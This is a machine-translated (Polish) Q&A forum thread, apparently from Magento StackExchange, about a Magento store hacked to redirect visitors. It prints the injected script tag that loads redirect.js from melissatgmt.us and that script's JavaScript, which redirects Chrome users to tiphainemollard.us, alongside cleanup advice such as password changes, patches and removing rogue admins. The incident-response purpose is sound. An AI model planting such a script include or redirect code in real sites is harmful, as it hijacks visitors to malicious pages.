Witryna zacznie przekierowywać na inny adres URL

9

Maybe it's infected by some virus.

Moja witryna zaczyna przekierowywać na te zainfekowane adresy URL.

http://mon.setsu.xyz
i trochę czasu https://tiphainemollard.us/index/?1371499155545
Zainfekowane linki

co zrobiłem, aby rozwiązać.

  1. Skomentowano plik .htaccess (nic się nie stało)
  2. Skomentowane obejmują folder (nic się nie dzieje)
  3. Przeskanowano cały serwer (nic się nie dzieje, nie znaleziono złośliwego oprogramowania)
  4. Zmieniono ścieżkę CSS, media i js z bazy danych, aby mieć pewność, że działa jej PHP lub js (nic się nie dzieje)
  5. select * from core_config_data where path like '%secure%';wszystkie linki są w porządku AKTUALIZACJA

Poszukałem go i napisałem wiele artykułów na ten temat, ale sugerują, że był to problem z przeglądarką lub mój system jest zainfekowany. Artykuł na ten temat, nawet jeśli otworzę witrynę na telefonie lub laptopie, problemy są takie same.

AKTUALIZACJA 2

Znalazłem wiersz w bazie danych, którego dotyczy problem. (jak również mówi Boris K.)

W core_config_data tabeli design/head/includes wartość ma

<script src="<a href="https://melissatgmt.us/redirect_base/redirect.js">https://melissatgmt.us/redirect_base/redirect.js</a>" id="1371499155545"></script>  

Który zostanie wstawiony w sekcji nagłówka przy ładowaniu strony.

Jeśli odwiedzisz powyższy adres URL, otrzymasz skrypt przekierowania, który jest

   var redirChrome;
var isToChrome = document.currentScript.getAttribute('data-type');

if((isToChrome == 1 && navigator.userAgent.indexOf("Chrome") != -1) || !isToChrome){

 var idToRedirect = document.currentScript.getAttribute('id'); 

window.location.replace('https://tiphainemollard.us/index/?'+idToRedirect);
}

Witryna klienta działa od popołudnia po usunięciu tego skryptu. But the main problem is how that script inserted into the database.

Jedna łatka jest również nieaktualna, więc zaktualizowałem ją również.

AKTUALIZACJA 3 Witryna jest ponownie zainfekowana. To jest skrypt wstawiony w sekcji Administrator ( Administrator-> Konfiguracja-> Ogólne-> Projekt-> Głowica HTML-> Różne skrypty ) Admin

I w kolumnie bazy danych Baza danych

Nie wiem co teraz robić. Ponieważ zmieniłem każde hasło, usunąłem wszystkich starych użytkowników.

AKTUALIZACJA 3

Do tej pory błąd nie nadchodzi, więc oznacza to, że wykonując powyższe kroki, możemy rozwiązać ten problem.

AKTUALIZACJA :: 4 Zawsze instaluj łatki, ponieważ pomaga mi to w projektach, aby sklep był mniej podatny na tego typu problemy, a łatki są również ważne. Można użyć https://magescan.com/, aby sprawdzić problemy na ich stronie internetowej.

inrsaurabh
źródło
w twoim systemie może to mieć wpływ, sprawdź to. sprawdź swoją przeglądarkę.
Rama Chandran M
@RamaChandran, kiedy google o tym adresie URL prawie każda sugestia, że ​​to problem przeglądarki. Otworzyłem witrynę w moim telefonie również ten sam problem.
inrsaurabh,
Podaj swój adres URL strony internetowej
Rama Chandran M
1
Usunąłem <script src = "<a href =" melissatgmt.us/redirect_base/redirect.js " > https://… > "id =" 1371499155545 "> </script> z projektu / head / include. To wciąż nie działało. Po odwiedzeniu mojej strony kod javascrip pojawia się ponownie. Czy masz jakieś przemyślenia? Adres strony to hdvideodepot.com
Mark
1
Czy możesz dodać tag wersji Magento?
sv3n

Odpowiedzi:

6

Znalazłem wstrzyknięty kod w core_config_datatabeli pod design/head/includes. Usunąłem go, a teraz strona wróciła do normy.

AKTUALIZACJA: Jak wszyscy wspomnieli, powtórzyło się to dziś rano. Tym razem pozbyłem się go łatwiej z panelu administracyjnego pod System > Configuration > General > Design > HTML Head > Miscellaneous Scripts. To ogromna luka, mam nadzieję, że Magento pracuje nad łatką.

AKTUALIZACJA 2: Skrypt powrócił, więc zmieniłem hasło db, wyczyściłem pamięć podręczną. Około godziny później skrypt powrócił. Więc nie sądzę, że jest dodawany przez db. Właśnie zmieniłem hasło administratora, zobaczmy, czy wróci.

AKTUALIZACJA 3: Ponieważ wczoraj zmieniłem hasło administratora w obu moich dotkniętych witrynach, około 24 godziny później oba są nadal czyste.

Boris K.
źródło
2
wow, to jest ogromne naruszenie bezpieczeństwa, jakiś pomysł, jaka to luka spowodowała?
Yehia A.Salam,
3
Musi być dziura w starszych wersjach Magento. Mam witrynę zbudowaną na Magento 2.1, na którą nie ma wpływu, ale każda strona poniżej wersji 2 zostaje przekierowana.
Boris K.,
To ogromny problem bezpieczeństwa. Czy ktoś wie, jak kod został wstrzyknięty do tabeli? Ta tabela to miejsce, w którym w obszarze administracyjnym możemy dodawać style i javascript do stopki / nagłówka strony. Jak haker mógł to skompromitować? Czy to oznacza, że ​​mieli dostęp do administratora?
Orzeszki ziemne
wraca po usunięciu, nie jestem pewien, co robić
Yehia A.Salam
Wykryłem szkodliwych użytkowników w System> Uprawnienia> Użytkownicy. Po ich usunięciu (i wcześniej naprawieniu tabeli core_config_data i zmianie hasła administratora) wydaje się stabilny, ale chciałbym wiedzieć, jak to się stało. Dziura / backdoor może nadal tam być i jest to tajemnicą.
Orzeszki ziemne
3

Ten sam problem na innej stronie Magento. Odkryłem, że skrypt jest wstrzykiwany w sekcji HEAD strony, żądając redirect_base / redirect.js z melissatgmt.us (następnie zmieniony na inną domenę), ale nie mogę zrozumieć, w jaki sposób wstrzykiwany jest ten gówno.

AKTUALIZACJA : Jak wspomnieli inni, odnalazł wpis w tabeli core_config_data i usunął go, ale rekord wrócił przy ponownym ładowaniu strony. Zmieniłem hasło db i teraz wydaje się, że zostało pokonane. Nie jestem pewien, czy zmiana hasła jest najlepszym rozwiązaniem, ale i tak jest poprawą bezpieczeństwa.

AKTUALIZACJA 2 : Jak stwierdził Jix Sas, dostęp z konfiguracji w administracji magento jest łatwiejszym rozwiązaniem niż bezpośredni dostęp do tabeli bazy danych. Ale to gówno powraca co 10/15 minut.

AKTUALIZACJA 3 : Zmieniono hasło administratora, sprawdziłem i zapisałem niektóre strony cms (obsługa klienta i o nas), które wyglądały na zainfekowane, wyłączono pamięć podręczną, wyczyściłem pamięć podręczną kilka razy (po każdym sprawdzeniu i zapisaniu „zainfekowanej” strony cms) nie więcej skryptów wprowadzonych w ciągu ostatnich 8 godzin.

ConsuLanza Informatica
źródło
Tak, masz rację, mam wiersz, którego to dotyczy.
inrsaurabh,
Zauważ, że administrator magento jest dostępny bez problemu, aw dzienniku internetowym widzę, że nie ma to wpływu na dostęp do botów. Myślę, że złośliwe oprogramowanie ogranicza się do interfejsu użytkownika i sprawdza agenta użytkownika przeglądarki.
ConsuLanza Informatica
więc wiedziałeś, skąd został wstrzyknięty?
Yehia A.Salam
tak, mogę potwierdzić, że wraca co 10/15 minut, nawet po usunięciu wpisu z bazy danych
Yehia A.Salam
2

Zmieniłem ścieżkę do panelu administracyjnego app/etc/local.xmli to pomaga. Skrypt nie jest już dodawany do design/head/includes.

Objaśnienie:

W app/etc/local.xmlzmieniłem <admin> <routers> <adminhtml> <args> <frontName><![CDATA[new_admin_path]]></frontName> </args> </adminhtml> </routers> </admin>Wcześniej było sitedomain.com/admin, a teraz będzie ścieżka do panelu administracyjnego sitedomain.com/new_admin_path

Eugenia
źródło
Przepraszam, że nie dostałem tego, co zrobiłeś, uprzejmie wyjaśnijwhich path u chagned
inrsaurabh
W aplikacji / etc / local.xml zmieniłem <admin> <routers> <adminhtml> <args> <frontName><![CDATA[new_admin_path]]></frontName> </args> </adminhtml> </routers> </admin>Wcześniej był to sitedomain.com/admin, a teraz ścieżka do panelu administracyjnego będzie sitedomain.com/new_admin_path
Eugenia
Ok, mam to, co sugerujesz
inrsaurabh
1

To wielka ulga, od rana przywracałem moją witrynę 10 razy.

Bug ciągle wraca.

Jakie jest najlepsze rozwiązanie?

Zmienić hasło DB? Zmienić hasło roota? Jakaś łatka została wydana?

Nie jestem pewien, czy jest to związane, mam poniżej e-maila z działu doradztwa bezpieczeństwa

Szanowny Panie, Szanowna Pani,

Jesteśmy Hatimeria, firmą deweloperską Magento z siedzibą w Szwajcarii, Polsce i Holandii.

Niedawno rozpoczęliśmy współpracę z nowym klientem i przejęliśmy jego stary serwer. W momencie, gdy uzyskaliśmy dostęp do serwera, natknęliśmy się na złośliwe oprogramowanie, za pomocą którego hakerzy mogli przejąć serwer klienta i używać go jako „maszyny hakerów” do hakowania innych stron internetowych. Oczywiście klient nie wiedział, że dzieje się to na jego serwerze.

Znaleźliśmy poświadczenia bazy danych witryny, która została zaatakowana przez ten serwer. Oczywiście nic z tym nie zrobimy, ale czuję się zobowiązany do skontaktowania się z Tobą i poinformowania Cię, co się dzieje. Włamania dokonano poprzez lukę w zabezpieczeniach Magento Cacheleak, która może być nadal obecna w twoim sklepie.

Radzę natychmiast zająć się tą luką i zmienić hasło do bazy danych. Nasi technicy twierdzą, że powinno to zająć około 30 minut.

Na stronie MageReport możesz zobaczyć, na co jeszcze twoja strona może być podatna: https://www.magereport.com/scan/?s=

Moim głównym celem tego e-maila nie jest pozyskiwanie klientów, ale jeśli potrzebujesz pomocy w zabezpieczeniu sklepu lub masz inne pytania, chętnie pomożemy.

Z poważaniem, Thomas Tanner

Myślę, że rozwiązaniem jest zmiana hasła DB

Mohit Khatri
źródło
1

Musimy zrozumieć, co jest GŁÓWNĄ przyczyną takich zastrzyków spamu

Jeśli Twoja witryna została wstrzyknięta, sprawdź ją we WSZYSTKICH TRZACH skanach złośliwego oprogramowania

https://magescan.com

https://www.magereport.com

https://sitecheck.sucuri.net/

Mam wrażenie, że wynika to z brakującej poprawki bezpieczeństwa! Jeśli zauważysz brakującą poprawkę, ZGŁOŚ ją W TYM TEMATIE .

  1. Zmień hasło dostępu do hostingu Zmień hasło bazy danych Zmień hasło logowania administratora UKRYJ ADMINISTRATOR I POBIERZ adresy URL i ukryj / RSS / przed widokiem publicznym.

  2. Wykonaj pełne skanowanie witryny w poszukiwaniu wirusów, dostawca usług hostingowych może przeskanować witrynę, jeśli nie możesz tego zrobić samodzielnie.

  3. Przejdź do Sysytem -> Użytkownicy i sprawdź, czy na koncie jest zarejestrowany użytkownik NIEAUTORYZOWANY.

Ikona
źródło
0

Naprawiłem problem. Nawet po tym jak usunięty plik z fhis <script src="https://melissatgmt.us/redirect_base/redirect.js" id="1371499155545"></script>z core_config_datatabeli design/head/includeswartości. Nie rozwiązało problemu. kod skryptu był wstawiany wielokrotnie. Aby rozwiązać problem, wykonaj następujące trzy kroki.

  1. Usuń kod skryptu z core_config_datatabeli w design/head/includes.
  2. Zmień hasło do bazy danych, w tym app/etc/local.xmldane uwierzytelniające.
  3. Wyczyść pamięć podręczną w głównym folderze Magento za pomocą tego polecenia rm -rf var/cache/*

ps Spędziłem cały dzień. Mam nadzieję, że to zadziała dla ciebie. I pamiętaj, aby cały czas wykonać kopię zapasową pliku.

znak
źródło
0

dokładnie to samo przytrafiło mi się dzisiaj! przekierowanie do tej samej strony. jednak skrypt znalazłem w panelu administracyjnym Magento w sekcji Konfiguracja> Projektowanie> Html Head> Różne skrypty. był ten skrypt: <script src="https://melissatgmt.us/redirect_base/redirect.js" id="1371499155545"></script> usunąłem go stamtąd i strona działa dobrze. nie mam folderu, w którym powiedziałeś, że znalazłeś skrypt. Masz pomysł, gdzie mógłby być? (jak znasz ścieżkę do nagłówka HTML> różne skrypty)

Co robiłeś ostatnio? może uda nam się ustalić przyczynę? dla mnie zainstalowałem bezpłatne okienko biuletynu, które może być przyczyną. a ty?

AKTUALIZACJA: teraz skrypt wrócił. Ktoś mi powie, jak mogę uzyskać dostęp do tego skryptu z bazy danych, aby go usunąć?

AKTUALIZACJA 2: jak stwierdził Mark, usunięcie skryptu ORAZ zmiana hasła do bazy danych powstrzymały ten skrypt przed powrotem. Jeśli ktoś zna nazwę tej luki lub istnieje zagrożenie dla płatności klientów, daj nam znać.

جيلبير
źródło